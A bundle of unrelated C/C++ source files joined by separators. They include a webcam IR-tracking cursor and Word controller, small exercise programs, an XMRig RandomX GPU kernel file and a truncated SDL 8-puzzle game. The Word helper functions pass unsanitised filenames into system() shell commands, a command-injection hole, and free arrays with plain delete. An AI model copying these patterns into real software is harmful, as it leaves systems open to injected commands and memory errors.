putText(output, "b", Point(960, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "c", Point(1060, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "d", Point(1160, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "e", Point(1260, 80), 2, 1, Scalar(0, 0, 255), 2);
}
//this function is used to control cursor
void cursor(int input) {
GetCursorPos(&p);
cursor_x = p.x;
cursor_y = p.y;
switch (input) {
case 1: //key left
cursor_x = cursor_x - Mouse_Speed_LR;
SetCursorPos(cursor_x, cursor_y);
break;
case 2: // key up
cursor_y = cursor_y - Mouse_Speed_UD;
SetCursorPos(cursor_x, cursor_y);
break;
case 3: // key down
cursor_y = cursor_y + Mouse_Speed_UD;
SetCursorPos(cursor_x, cursor_y);
break;
case 4: // key right
cursor_x = cursor_x + Mouse_Speed_LR;
SetCursorPos(cursor_x, cursor_y);
break;
case 5:
mouse_event(MOUSEEVENTF_LEFTDOWN, cursor_x, cursor_y, 0, 0); // moving left click
mouse_event(MOUSEEVENTF_LEFTUP, cursor_x, cursor_y, 0, 0); // moving cursor leftup
mouse_event(MOUSEEVENTF_LEFTDOWN, cursor_x, cursor_y, 0, 0); // moving left click
mouse_event(MOUSEEVENTF_LEFTUP, cursor_x, cursor_y, 0, 0); // moving cursor leftup
break;
case 6:
mouse_event(MOUSEEVENTF_RIGHTDOWN, cursor_x, cursor_y, 0, 0); // cursor right click
mouse_event(MOUSEEVENTF_RIGHTUP, cursor_x, cursor_y, 0, 0);
break;
default: // not arrow
break;
}
Sleep(20);
}
// time fucntion for staring counting and confirmation
void ctrlSelect(int input, Mat ctrlPanel, Mat rctrlPanel) {
static bool start_time2 = false;
static clock_t startx;
static double duration2;
static int input1 = 0;
static int Gselection = 0;
//Global Cursor Actions
GetCursorPos(&p);
mX = p.x;
mY = p.y;
if (40 <= mY && mY <= 120)
{
if (250 <= mX && mX <= 350)
{
rectangle(ctrlPanel, Point(130, 50), Point(230, 90), Scalar(255, 255, 255), 1, 18);
Gselection = 1;
}
if (350 <= mX && mX <= 450)
{
rectangle(ctrlPanel, Point(230, 50), Point(330, 90), Scalar(255, 255, 255), 1, 18);
Gselection = 2;
}
if (450 <= mX && mX <= 550)
{
rectangle(ctrlPanel, Point(330, 50), Point(430, 90), Scalar(255, 255, 255), 1, 18);
Gselection = 3;
}
if (550 <= mX && mX <= 650)
{
rectangle(ctrlPanel, Point(430, 50), Point(530, 90), Scalar(255, 255, 255), 1, 18);
Gselection = 4;
}
if (650 <= mX && mX <= 750)
{
rectangle(ctrlPanel, Point(530, 50), Point(630, 90), Scalar(255, 255, 255), 1, 18);
Gselection = 5;
}
if (750 <= mX && mX <= 850)
{
rectangle(ctrlPanel, Point(530, 50), Point(630, 90), Scalar(255, 255, 255), 1, 18);
Gselection = 6;
}
}
else
Gselection = 100;
//cout << Gselection << endl;
rectangle(ctrlPanel, Point((input - 1) * 200 + 130, 10), Point(input * 200 + 130, 50), Scalar(156, 195, 165), CV_FILLED, 8);
rectangle(rctrlPanel, Point((input - 1) * 270, 0), Point(input * 270, 80), Scalar(156, 195, 165), CV_FILLED, 8);
if (start_time2) {
startx = clock();
start_time2 = false;
}
duration2 = (double)(clock() - startx) / CLOCKS_PER_SEC;
if (input == input1) {
if (input == 5 && clickOne && duration2 >1)
{
cursor(input);
rectangle(ctrlPanel, Point((input - 1) * 200 + 130, 10), Point(input * 200 + 130, 50), Scalar(232, 144, 144), CV_FILLED, 8);
rectangle(rctrlPanel, Point((input - 1) * 270, 0), Point(input * 270, 80), Scalar(232, 144, 144), CV_FILLED, 8);
clickOne = false;
if (Gselection == 1)
{
//window=GetForegroundWindow();
//mouse_event(MOUSEEVENTF_LEFTDOWN, cursor_x, cursor_y, 0, 0); // moving left click
//mouse_event(MOUSEEVENTF_LEFTUP, cursor_x, cursor_y, 0, 0); // moving cursor leftup
//GetWindowRect(window,&rect);
//ShowWindow(window,SW_SHOWNORMAL);
SetForegroundWindow(window);
SetActiveWindow(window);
SetWindowPos(window, // handle to window
HWND_TOPMOST, // placement-order handle
0, // horizontal position
200, // vertical position
1400, // width
900, // height
SWP_SHOWWINDOW | SWP_NOMOVE// window-positioning options
);
p.x = 500;
p.y = 500;
SetCursorPos(p.x, p.y);
ShowWindow(window, SW_SHOWNORMAL);
pressKeyCtrl('+');
p.x = mX;
p.y = mY;
SetCursorPos(p.x, p.y);
}
else if (Gselection == 2)
{
//mouse_event(MOUSEEVENTF_LEFTDOWN, cursor_x, cursor_y, 0, 0); // moving left click
//mouse_event(MOUSEEVENTF_LEFTUP, cursor_x, cursor_y, 0, 0); // moving cursor leftup
//window=GetForegroundWindow();
//GetWindowRect(window,&rect);
//ShowWindow(window,SW_SHOWNORMAL);
SetForegroundWindow(window);
SetActiveWindow(window);
p.x = 500;
p.y = 500;
SetCursorPos(p.x, p.y);
ShowWindow(window, SW_SHOWNORMAL);
pressKeyCtrlm('-');
p.x = mX;
p.y = mY;
SetCursorPos(p.x, p.y);
}
else if (Gselection == 3)
{
p.x = 500;
p.y = 500;
SetCursorPos(p.x, p.y);
//window=GetForegroundWindow();
//GetWindowRect(window,&rect);
ShowWindow(window, SW_SHOWNORMAL);
SetForegroundWindow(window);
SetActiveWindow(window);
for (int k = 0; k <2; ++k) {
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, SCROLLDOWN, 0);
}
p.x = mX;
p.y = mY;
SetCursorPos(p.x, p.y);
}
else if (Gselection == 4)
{ //Start WINWORD2016
//SHELLEXECUTEINFO ShExecInfo = {0};
//ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
//ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
//ShExecInfo.hwnd = NULL;
//ShExecInfo.lpVerb = NULL;
//ShExecInfo.lpFile = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE";
//ShExecInfo.lpParameters = "";
//ShExecInfo.lpDirectory = NULL;
//ShExecInfo.nShow = SW_SHOW;
//ShExecInfo.hInstApp = NULL;
//ShellExecuteEx(&ShExecInfo);
//WaitForSingleObject(ShExecInfo.hProcess,INFINITE);
p.x = 500;
p.y = 500;
SetCursorPos(p.x, p.y);
//window=GetForegroundWindow();
//GetWindowRect(window,&rect);
ShowWindow(window, SW_SHOWNORMAL);
SetForegroundWindow(window);
SetActiveWindow(window);
for (int k = 0; k <2; ++k) {
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, SCROLLUP, 0);
}
p.x = mX;
p.y = mY;
SetCursorPos(p.x, p.y);
}
else if (Gselection == 5) {
ShowWindow(window, SW_RESTORE);
}
else if (Gselection == 6) {
exit(EXIT_FAILURE);
return;
}
}
else if (input != 5 && duration2 > 1)
{
cursor(input);
rectangle(ctrlPanel, Point((input - 1) * 200 + 130, 10), Point(input * 200 + 130, 50), Scalar(232, 144, 144), CV_FILLED, 8);
rectangle(rctrlPanel, Point((input - 1) * 270, 0), Point(input * 270, 80), Scalar(232, 144, 144), CV_FILLED, 8);
}
else if (input != 5)
clickOne = true;
}
else
{
input1 = input;
startx = clock();
}
}
//functions for Meanshift:
static void onMouse(int event, int x, int y, int, void*)
{
if (selectObject)
{
selection.x = MIN(x, origin.x);
selection.y = MIN(y, origin.y);
selection.width = std::abs(x - origin.x);
selection.height = std::abs(y - origin.y);
selection &= Rect(0, 0, cameraFeed.cols, cameraFeed.rows);
}
switch (event)
{
case EVENT_LBUTTONDOWN:
origin = Point(x, y);
selection = Rect(x, y, 0, 0);
selectObject = true;
break;
case EVENT_LBUTTONUP:
selectObject = false;
if (selection.width > 0 && selection.height > 0)
trackObject = -1; // Set up CAMShift properties in main() loop
break;
}
}
bool track(int &x, int &y, Mat &threshold) {
bool trackResult = false;
int area = 0;
int hsize = 16;
float hranges[] = { 0, 180 };
const float* phranges = hranges;
if (trackObject)
{
int ch[] = { 0, 0 };
hue.create(hsv.size(), hsv.depth());
mixChannels(&hsv, 1, &hue, 1, ch, 1);
if (trackObject < 0)
{
// Object has been selected by user, set up CAMShift search properties once
Mat roi(hue, selection), maskroi(threshold, selection);
calcHist(&roi, 1, 0, maskroi, hist, 1, &hsize, &phranges);
normalize(hist, hist, 0, 255, NORM_MINMAX);
trackWindow = selection;
trackObject = 1; // Don't set up again, unless user selects new ROI
trackResult = true;
histimg = Scalar::all(0);
int binW = histimg.cols / hsize;
Mat buf(1, hsize, CV_8UC3);
for (int i = 0; i < hsize; i++)
buf.at<Vec3b>(i) = Vec3b(saturate_cast<uchar>(i*180. / hsize), 255, 255);
cvtColor(buf, buf, COLOR_HSV2BGR);
for (int i = 0; i < hsize; i++)
{
int val = saturate_cast<int>(hist.at<float>(i)*histimg.rows / 255);
rectangle(histimg, Point(i*binW, histimg.rows),
Point((i + 1)*binW, histimg.rows - val),
Scalar(buf.at<Vec3b>(i)), -1, 8);
}
}
// Perform CAMShift
calcBackProject(&hue, 1, 0, hist, backproj, &phranges);
backproj &= threshold;
RotatedRect trackBox = CamShift(backproj, trackWindow,
TermCriteria(TermCriteria::EPS | TermCriteria::COUNT, 10, 1));
x = trackBox.center.x;
y = trackBox.center.y;
area = trackBox.size.height * trackBox.size.width;
if (trackWindow.area() <= 1)
{
int cols = backproj.cols, rows = backproj.rows, r = (MIN(cols, rows) + 5) / 6;
trackWindow = Rect(trackWindow.x - r, trackWindow.y - r,
trackWindow.x + r, trackWindow.y + r) &
Rect(0, 0, cols, rows);
}
//here to add the conditions if trackWindw larger or smaller.
else
ellipse(cameraFeed, trackBox, Scalar(0, 0, 255), 3, LINE_AA);
}
if (selectObject && selection.width > 0 && selection.height > 0)
{
Mat roi(cameraFeed, selection);
bitwise_not(roi, roi);
}
if (area > 10)
{
// trackObject = 0;
trackResult = true;
}
else if (area <= 10)
{
// trackObject = 0;
trackResult = false;
}
return trackResult;
}
//Opens Word minimized, shows the user a dialog box to allow them to
//select the printer, number of copies, etc., and then closes Word
void wordprint(char* filename) {
char* command = new char[64 + strlen(filename)];
strcpy(command, "start /min winword \"");
strcat(command, filename);
strcat(command, "\" /q /n /f /mFilePrint /mFileExit");
system(command);
delete command;
}
//Opens the document in Word
void wordopen(char* filename) {
char* command = new char[64 + strlen(filename)];
strcpy(command, "start /max winword \"");
strcat(command, filename);
strcat(command, "\" /q /n");
system(command);
delete command;
}
//Opens a copy of the document in Word so the user can save a copy
//without seeing or modifying the original
void wordduplicate(char* filename) {
char* command = new char[64 + strlen(filename)];
strcpy(command, "start /max winword \"");
strcat(command, filename);
strcat(command, "\" /q /n /f");
system(command);
delete command;
}
void wordstart() {
//Start WINWORD2016
SHELLEXECUTEINFO ShExecInfo = { 0 };
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = window;
ShExecInfo.lpVerb = NULL;
//ShExecInfo.lpFile = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE";
//ShExecInfo.lpParameters = "";
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_SHOW;
ShExecInfo.hInstApp = NULL;
ShellExecuteEx(&ShExecInfo);
WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
//Set ForegroundWindow (Handle=window)
p.x = 500;
p.y = 500;
SetCursorPos(p.x, p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN, cursor_x, cursor_y, 0, 0); // moving left click
window = GetForegroundWindow();
//mouse_event(MOUSEEVENTF_LEFTUP, cursor_x, cursor_y, 0, 0); // moving cursor leftup
GetWindowRect(window, &rect);
SetForegroundWindow(window);
SetActiveWindow(window);
//pressKeyCtrl('+');
// ShowWindow(window,SW_MINIMIZE);
}
bool trackIR(int &x, int &y, Mat &imgThresh, Mat &frame) {
vector<vector<Point>> contours;
int maxArea = 0;
int largest_contour_index = 0;
bool isContour = false;
Rect contourRect;
findContours(imgThresh, contours, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_NONE);
for (int i = 0; i < contours.size(); i++) {
double area = contourArea(contours[i]);
Rect tempRect = boundingRect(contours[i]);
//Point tcenter = Point(tempRect.x + (tempRect.width / 2), tempRect.y + (tempRect.height / 2));
if (area > 2000 && tempRect.x < 400) {
maxArea = area;
largest_contour_index = i;
isContour = true;
}
}
if (isContour == true && trackObject == -1) {
contourRect = boundingRect(contours[largest_contour_index]);
Point center = Point(contourRect.x + (contourRect.width / 2), contourRect.y + (contourRect.height / 2));
//cout << "center: " << center.x << ", " << center.y << endl;
x = center.x;
y = center.y;
circle(frame, center, 5, Scalar(0, 0, 255), 5);
drawContours(frame, contours, largest_contour_index, Scalar(0, 255, 0), 2);
//circle(imgThresh, Point(320, 240), 3, Scalar(255), 3);
//circle(frame, Point(320, 240), 3, Scalar(255, 0, 0), 3);
return 1;
}
else {
circle(frame, Point(320, 240), 3, Scalar(255, 0, 0), 3);
return 0;
}
}
int main(int argc, char* argv[])
{
//first to initial varibales
#pragma region variables
//some boolean variables for different functionality within this
bool trackObjects = true; //if need to track objects
bool useMorphOps = true; // tracking shadows
//bool isTracking = false;
bool start_time = true; //calibration time function, true when calibration starts
//static bool start_time2 = true; //this is for selection output
bool startControl = false; // if start to control the arduino, true when calibration finish, false when track lost
bool ArduinoConnect = false; //state if arduino is connected to computer
bool flipI = false; // if need to flip the camera
bool move = true; //to move for once only
//Matrix to store each frame of the webcam feed
//wordduplicate("c:\\Program Files\\MSOffice\\name.doc");
//system("C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE");
//ShellExecuteExW("C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE");
//Start WINWORD2016
//SHELLEXECUTEINFO ShExecInfo = {0};
//ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
//ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
//ShExecInfo.hwnd = NULL;
//ShExecInfo.lpVerb = NULL;
//ShExecInfo.lpFile = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE";
//ShExecInfo.lpParameters = "";
//ShExecInfo.lpDirectory = NULL;
//ShExecInfo.nShow = SW_SHOW;
//ShExecInfo.hInstApp = NULL;
//ShellExecuteEx(&ShExecInfo);
//WaitForSingleObject(ShExecInfo.hProcess,INFINITE);
//matrix storage for HSV image
Mat HSV;
//matrix storage for binary threshold image
Mat threshold, temp, inverse;
//x and y values for the location of the object
int x = 0, y = 0;
//create slider bars for HSV filtering
int x_left, x_right, y_up, y_down, x_center, y_center;
//these are for calibration
createTrackbars();
//video capture object to acquire webcam feed
double duration;
clock_t start;
int timex;
//is for counitng time display
int input = 0; // control input
char inputC = '0'; // for arduino character input
char calibrationOption;
bool Option1 = true;
bool result = false; // this is for meanshift result tracking
#pragma endregion
//wordstart;
/*
//open window edge
CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
SHELLEXECUTEINFOW sei = { sizeof sei };
sei.lpVerb = L"open";
sei.lpFile = L"microsoft-edge:http://www.bbc.com";
ShellExecuteExW(&sei);
*/
//wordstart;
//Set ForegroundWindow (Handle=window)
p.x = 840;
p.y = 200;
SetCursorPos(p.x, p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN, cursor_x, cursor_y, 0, 0); // moving left click
window = GetForegroundWindow();
//mouse_event(MOUSEEVENTF_LEFTUP, cursor_x, cursor_y, 0, 0); // moving cursor leftup
GetWindowRect(window, &rect);
SetForegroundWindow(window);
SetActiveWindow(window);
//pressKeyCtrl('+');
ShowWindow(window, SW_MINIMIZE);
#pragma region console_display
VideoCapture capture;
capture.open(1);
if (!capture.isOpened())
{
printf("Error in opening the camera, please check! \n");
system("pause");
return -1;
}
// to select the opertation mode:
userOpt = 1;
methodOpt = 1;
//open capture object at location zero (default location for webcam)
//set height and width of capture frame
capture.set(CV_CAP_PROP_FRAME_WIDTH, FRAME_WIDTH);
capture.set(CV_CAP_PROP_FRAME_HEIGHT, FRAME_HEIGHT);
//start an infinite loop where webcam feed is copied to cameraFeed matrix
//all of our operations will be performed within this loop
//cout << "you may enter your instruction ";
#pragma endregion
#pragma region arduinoSetUp
/* Serial* port = new Serial("COM4"); //connect to arduino Here to change the port number
//Arduino Communication set up:
char data[8] = "";
char command[2] = "";
int datalength = 8; //length of the data,
int readResult = 0;
int n;
int opt; // to choose functions
for (int i = 0; i < 8; ++i) { data[i] = 0; }
*/
#pragma endregion
namedWindow(windowName, 0);
namedWindow(windowName2, 0);
setMouseCallback("Original Image", onMouse, 0);
Mat erodeStruct = getStructuringElement(MORPH_ERODE, Size(5, 5));
Mat dilateStruct = getStructuringElement(MORPH_DILATE, Size(5, 5));
//Mat frame;
Mat imgGray;
Mat imgThresh;
Mat imgContours;
while (1) {
#pragma region basic tracking function
//store image to matrix and flip the image
capture.read(cameraFeed);
/*
//cameraFeed rotation 180 degree
Point2f src_center(cameraFeed.cols / 2.0F, cameraFeed.rows / 2.0F);
Mat rot_mat = getRotationMatrix2D(src_center, 180, 1.0);
Mat dst;
warpAffine(cameraFeed, dst, rot_mat, cameraFeed.size());
cameraFeed = dst;
// to flip over image
if (flipI)
{
cameraFeed.copyTo(inverse);
flip(inverse, cameraFeed, 1);
}
*/
flip(cameraFeed, cameraFeed, 1);
cvtColor(cameraFeed, imgGray, CV_BGR2GRAY);
inRange(imgGray, H_MIN, H_MAX, imgThresh);
erode(imgThresh, imgThresh, erodeStruct);
erode(imgThresh, imgThresh, erodeStruct);
dilate(imgThresh, imgThresh, dilateStruct);
//dilate(imgThresh, imgThresh, dilateStruct);
//cvtColor(cameraFeed, hsv, COLOR_BGR2HSV);
//inRange(hsv, Scalar(H_MIN, S_MIN, V_MIN), Scalar(H_MAX, S_MAX, V_MAX), threshold);
/*
//MorphOps
if (useMorphOps)
morphOps(threshold);*/
//pass in thresholded frame to our object tracking function
//this function will return the x and y coordinates of the
#pragma endregion
#pragma region general set up
Mat wholePanel;
wholePanel = Mat::zeros(Size(SCREEN_WIDTH, SCREEN_HEIGHT), CV_8UC3);
Mat ctrlPanel;
ctrlPanel = Mat::zeros(Size(1350, 80), CV_8UC3);
//createPanel(ctrlPanel, 1350, 80);
// this is a reflection on whole screen display
if (trackObjects)
{
// choose the different method for tracking
if (methodOpt == 2)
trackFilteredObject(x, y, threshold, cameraFeed, wholePanel);
else if (methodOpt == 1)
//objectFound = track(x, y, threshold);
objectFound = trackIR(x, y, imgThresh, cameraFeed);
}
/*
if (result)
{
cout << "x value is " << x;
cout << "y value is " << y << endl;
}*/
//cout << "x_o" << x_o << endl;
screensize(x_screen, y_screen, x, y);
//cout << "x_screen" << x_screen << endl;
//circle(wholePanel, Point(x_screen, y_screen), 5, Scalar(0, 0, 255), 2);
//circle(wholePanel, Point(680,364), 20, Scalar(0, 0, 255), 2);
#pragma endregion
#pragma region calibration and projection
if (cali == true && objectFound == true)
{
if (start_time) {
start = clock();
start_time = false;
}
duration = (double)(clock() - start) / CLOCKS_PER_SEC;
if (duration < 3)
calibration(x, y, wholePanel, duration, cameraFeed);
if (duration > 3)
cali = false;
}
else if (cali == false) {
circle(cameraFeed, Point(x_o, y_o), 5, Scalar(255, 0, 0), 5);
startControl = true;
}
else
start = clock();
// this is for control panel
if (objectFound == true)
{
x_screen1 = (x - x_o) / X_RANGE*(RESOLUTION_X / 2) + 1000 / 2 + dx;
if (changeY)
y_screen1 = y_screen;
else
y_screen1 = 40;
//cout << "++" << x_screen1 << ", " << y_screen1 << endl;
//circle(ctrlPanel, Point(x_screen1, y_screen1), 5, Scalar(0, 0, 255), 2);
}
//function on ctrlbox and corresponding indicate area divide:
//controlbox(wholePanel, 5);
#pragma endregion
#pragma region opt1_control:
if (userOpt == 1) {
// this is for counting time for seletion
if (startControl == true)
{
input = control(x, x_screen1, y_screen1, wholePanel);
ctrlSelect(input, wholePanel,ctrlPanel);
//controlGesture1(x_screen1, y_screen1, wholePanel);
}
else if (startControl == false)
input = 0;
}
controlbox(wholePanel, 5);
createPanel(ctrlPanel, 1350, 80);
line(cameraFeed, Point(190,0), Point(190, 480), Scalar(0, 255, 0), 2, 8);
line(cameraFeed, Point(270, 0), Point(270, 480), Scalar(0, 255, 0), 2, 8);
line(cameraFeed, Point(358, 0), Point(358, 480), Scalar(0, 255, 0), 2, 8);
line(cameraFeed, Point(428, 0), Point(428, 480), Scalar(0, 255, 0), 2, 8);
#pragma endregion
/*
#pragma region opt2_control
if (userOpt == 2) {
if (startControl == true) {
inputC = controlC(x_screen1, y_screen1, wholePanel);
if (objectFound == false)
inputC = '5'; //stop
input = inputC - '0';
if (input != 5)
rectangle(ctrlPanel, Point((input - 1) * 200, 0), Point(input * 200, 200), Scalar(156, 195, 165), CV_FILLED, 8);
command[0] = inputC;
int msglen = strlen(command);
if (port->WriteData(command, msglen)); //write to arduino
printf("Wrtiting Success\n");
Sleep(15);
n = port->ReadData(data, 8);
if (n != -1) {
data[n] = 0;
cout << "arduino: " << data << endl;
}
}
}
#pragma endregion
*/
#pragma region screen
//circle(cameraFeed, Point(320, 240), 20, Scalar(0, 0, 255), 2);
//Mat colorPanel;
//colorPanel = Mat::zeros(Size(600, 1200), CV_8UC3);
//createPanel(colorPanel, 600, 1200);
//show frames
/*
if (userOpt == 2) {
if (port->IsConnected())
{
putText(wholePanel, "Arduino Connected", Point(1000, 60), FONT_HERSHEY_PLAIN, 1.5, Scalar(0, 0, 255), 2);
ArduinoConnect = true;
}
else
{
putText(wholePanel, "Not Connected", Point(1000, 60), FONT_HERSHEY_PLAIN, 1.5, Scalar(0, 0, 255), 2);
ArduinoConnect = false;
}
}
*/
// show the images
//rectangle(wholePanel, Point(1100, 100), Point(1960, 1100), Scalar(0, 255, 0), -1, 8); //right green rectangle on "wholepanel"
//namedWindow("wholePanel", WINDOW_NORMAL);
//imshow("wholePanel", wholePanel);
//moveWindow("wholePanel", 0, 0);
/*
//Bright green panel
Mat new_image = Mat::zeros(wholePanel.size(), wholePanel.type());
//cout << " Basic Linear Transforms " << endl;
// cout << "-------------------------" << endl;
// cout << "* Enter the alpha value [1.0-3.0]: "; cin >> alpha;
// cout << "* Enter the beta value [0-100]: "; cin >> beta;
double alpha = 2.2;
int beta = 50;
for (int y = 1200; y < wholePanel.rows; y++) {
for (int x = 0; x < wholePanel.cols; x++) {
for (int c = 0; c < 3; c++) {
new_image.at<Vec3b>(y, x)[c] =
saturate_cast<uchar>(alpha*(wholePanel.at<Vec3b>(y, x)[c]) + beta);
}
}
}
wholePanel = new_image;
*/
namedWindow("Threshold", WINDOW_NORMAL);
resizeWindow("Threshold", 320, 240);
moveWindow("Threshold", 420, 200);
imshow("Threshold", imgThresh);
//namedWindow("ctrlPanel", WINDOW_NORMAL);
moveWindow("ctrlPanel", 8, 0);
imshow("ctrlPanel", ctrlPanel);
hwnd1 = (HWND)cvGetWindowHandle("ctrlPanel");
//SetWindowPos(hwnd1, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
//imshow("panel", colorPanel);
hwnd2 = (HWND)cvGetWindowHandle("panel");
//SetWindowPos(hwnd2, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
namedWindow(windowName, WINDOW_NORMAL);
imshow(windowName, cameraFeed);
resizeWindow(windowName, 320, 240);
moveWindow(windowName, 100, 200);
//Keep "Original Image" on top
hwnd3 = (HWND)cvGetWindowHandle("Original Image");
//SetWindowPos(hwnd3, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
//HANDLE HWED1;
//HWED1=cvGetWindowHandle(windowName);
ShowWindow(hwnd3, SW_MINIMIZE);
ShowWindow(hwnd3, SW_RESTORE);
if (camI) {
imshow(windowName2, threshold);
}
if (!camI) {
destroyWindow(windowName2);
// destroyWindow(windowName);
}
if (move)
{
//moveWindow("panel", 1300, 0);
moveWindow("wholePanel", 120, 0);
//moveWindow("ctrlPanel", 250, 0);
moveWindow(windowName2, 0, 520);
moveWindow(windowName, 0, 520);
move = false;
}
//image will not appear without this waitKey() command
waitKey(1);
#pragma endregion
}
return 0;
}
|
#include<bits/stdc++.h>
using namespace std;
int main(int argc, char *argv[]){
execv("test.exe", argv);
freopen("in.txt","r",stdin);
freopen("out.txt","w",stdout);
string s;
cin>>s;
cout<<s;
cout<<endl;
freopen("CON","r",stdin);
freopen("CON","w",stdout);
cin>>s;
cout<<s;
freopen("out.txt","r",stdin);
freopen("out1.txt","w",stdout);
cin>>s;
cout<<s;
freopen("CON","r",stdin);
freopen("CON","w",stdout);
cin>>s;
cout<<s;
freopen("out.txt","r",stdin);
freopen("out1.txt","w",stdout);
cin>>s;
cout<<s;
return 0;
}
|
#include<iostream>
#include<cstdio>
#include<map>
#include<set>
#include<vector>
#include<stack>
#include<queue>
#include<string>
#include<cstring>
#include<algorithm>
#include<cmath>
using namespace std;
double f[110][110][110];
bool fin(int i,int j,int k) {
int a = (i > 0)?1:0;
int b = (j > 0)?1:0;
int c = (k > 0)?1:0;
return a+b+c <= 1;
}
int main()
{
int m,n,p;
scanf("%d%d%d",&m,&n,&p);
f[m][n][p] = 1;
for (int i = m;i >= 0; i--)
for (int j = n;j >= 0; j--)
for (int k = p;k >= 0; k--)
//if (!fin(i,j,k))
{
double mul = i*j+j*k+k*i;
if (!mul) continue;
//cout << i << " " << j << " " << k << " " << f[i][j][k]<< ends;
if (j > 0) f[i][j-1][k] += (i*j)/mul*f[i][j][k];//cout << f[i][j-1][k] << endl;
if (k > 0) f[i][j][k-1] += (j*k)/mul*f[i][j][k];
if (i > 0) f[i-1][j][k] += (k*i)/mul*f[i][j][k];
}
double ans = 0;
for (int i = 1;i <= m; i++) ans += f[i][0][0];
printf("%.12lf ",ans);
ans = 0;
for (int i = 1;i <= n; i++) ans += f[0][i][0];
printf("%.12lf ",ans);
ans = 0;
for (int i = 1;i <= p; i++) ans += f[0][0][i];
printf("%.12lf\n",ans);
return 0;
}
|
/*
Name: ×Ö·û´®¹éÒ»»¯
Copyright:
Author: Hill Bamboo
Date: 2019/8/21 16:52:21
Description:
*/
#include <bits/stdc++.h>
using namespace std;
int arr[26];
int main() {
string str;
cin >> str;
for (int i = 0; i < str.size(); ++i) {
arr[str[i] - 'a']++;
}
for (int i = 0; i < 26; ++i) if(arr[i] > 0) {
printf("%c%d", i + 'a', arr[i]);
}
return 0;
}
|
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2017-2018 XMR-Stak <https://github.com/fireice-uk>, <https://github.com/psychocrypt>
* Copyright 2018-2020 SChernykh <https://github.com/SChernykh>
* Copyright 2016-2020 XMRig <https://github.com/xmrig>, <support@xmrig.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "backend/opencl/kernels/rx/RxRunKernel.h"
#include "backend/opencl/wrappers/OclLib.h"
#include "base/crypto/Algorithm.h"
#include "crypto/randomx/randomx.h"
#include "crypto/rx/RxAlgo.h"
void xmrig::RxRunKernel::enqueue(cl_command_queue queue, size_t threads, size_t workgroup_size)
{
const size_t gthreads = threads * workgroup_size;
enqueueNDRange(queue, 1, nullptr, >hreads, &workgroup_size);
}
void xmrig::RxRunKernel::setArgs(cl_mem dataset, cl_mem scratchpads, cl_mem registers, cl_mem rounding, cl_mem programs, uint32_t batch_size, const Algorithm &algorithm)
{
setArg(0, sizeof(cl_mem), &dataset);
setArg(1, sizeof(cl_mem), &scratchpads);
setArg(2, sizeof(cl_mem), ®isters);
setArg(3, sizeof(cl_mem), &rounding);
setArg(4, sizeof(cl_mem), &programs);
setArg(5, sizeof(uint32_t), &batch_size);
auto PowerOf2 = [](size_t N)
{
uint32_t result = 0;
while (N > 1) {
++result;
N >>= 1;
}
return result;
};
const auto *rx_conf = RxAlgo::base(algorithm);
const uint32_t rx_parameters =
(PowerOf2(rx_conf->ScratchpadL1_Size) << 0) |
(PowerOf2(rx_conf->ScratchpadL2_Size) << 5) |
(PowerOf2(rx_conf->ScratchpadL3_Size) << 10) |
(PowerOf2(rx_conf->ProgramIterations) << 15);
setArg(6, sizeof(uint32_t), &rx_parameters);
}
|
#include <SDL/SDL.h>
#include <SDL_image.h>
#include <SDL/SDL_ttf.h>
#include "jeu.h"
void jouer(SDL_Surface *ecran, char mode)
{
int nbCoups = 0;
SDL_Surface *infini;
SDL_Rect positionInfini;
Etat etatInitial ;
Etat etatFinal;
//genereEtatInitial(&etatInitial, &etatFinal);
etatInitial.M[0][0] = 2;
etatInitial.M[0][1] = 8;
etatInitial.M[0][2] = 3;
etatInitial.M[1][0] = 1;
etatInitial.M[1][1] = 6;
etatInitial.M[1][2] = 4;
etatInitial.M[2][0] = 7;
etatInitial.M[2][1] = 0;
etatInitial.M[2][2] = 5;
etatInitial.g = 0;
etatInitial.h = 4;
etatFinal.M[0][0] = 1;
etatFinal.M[0][1] = 2;
etatFinal.M[0][2] = 3;
etatFinal.M[1][0] = 8;
etatFinal.M[1][1] = 0;
etatFinal.M[1][2] = 4;
etatFinal.M[2][0] = 7;
etatFinal.M[2][1] = 6;
etatFinal.M[2][2] = 5;
//genereEtatInitial(&etatInitial, &etatFinal);
int *P = (int*)(etatInitial.M) ;
